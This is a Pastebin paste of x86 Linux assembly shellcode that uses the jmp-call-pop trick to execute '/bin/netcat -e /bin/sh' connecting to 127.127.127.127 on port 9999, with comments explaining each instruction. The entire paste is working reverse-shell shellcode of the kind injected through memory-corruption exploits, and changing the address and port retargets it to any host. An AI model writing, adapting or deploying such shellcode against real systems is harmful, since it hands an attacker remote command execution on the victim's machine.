TringaliLuca

shellcode.asm

Jun 28th, 2020
43
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. jmp short       forward
  2. back:
  3. pop             esi
  4. xor             eax, eax
  5. mov byte        [esi + 11], al    ; terminate /bin/netcat
  6. mov byte        [esi + 14], al    ; terminate -e
  7. mov byte        [esi + 22], al    ; terminate /bin/sh
  8. mov byte        [esi + 38], al    ; terminate 127.127.127.127
  9. mov byte        [esi + 43], al    ; terminate 9999
  10. mov long        [esi + 44], esi   ; address of /bin/netcat in AAAA
  11. lea             ebx, [esi + 12]   ; get address of -e  
  12. mov long        [esi + 48], ebx   ; store address of -e in BBBB
  13. lea             ebx, [esi + 15]   ; get address of /bin/sh
  14. mov long        [esi + 52], ebx   ; store address of /bin/sh in CCCC
  15. lea             ebx, [esi + 23]   ; get address of 127.127.127.127
  16. mov long        [esi + 56], ebx   ; store address of 127.127.127.127 in DDDD
  17. lea             ebx, [esi + 39]   ; get address of 9999
  18. mov long        [esi + 60], ebx   ; store address of 9999 in EEEE
  19. mov long        [esi + 64], eax   ; put NULL in FFFF
  20. mov byte        al, 0x0b          ; pass the execve syscall number as argument
  21. mov             ebx, esi          
  22. lea             ecx, [esi + 44]   ; /bin/netcat -e /bin/sh etc etc
  23. lea             edx, [esi + 64]   ; NULL
  24. int             0x80              ; Run the execve syscall
  25.  
  26. forward:
  27. call            back
  28. db "/bin/netcat#-e#/bin/sh#127.127.127.127#9999#AAAABBBBCCCCDDDDEEEEFFFF"
RAW Paste Data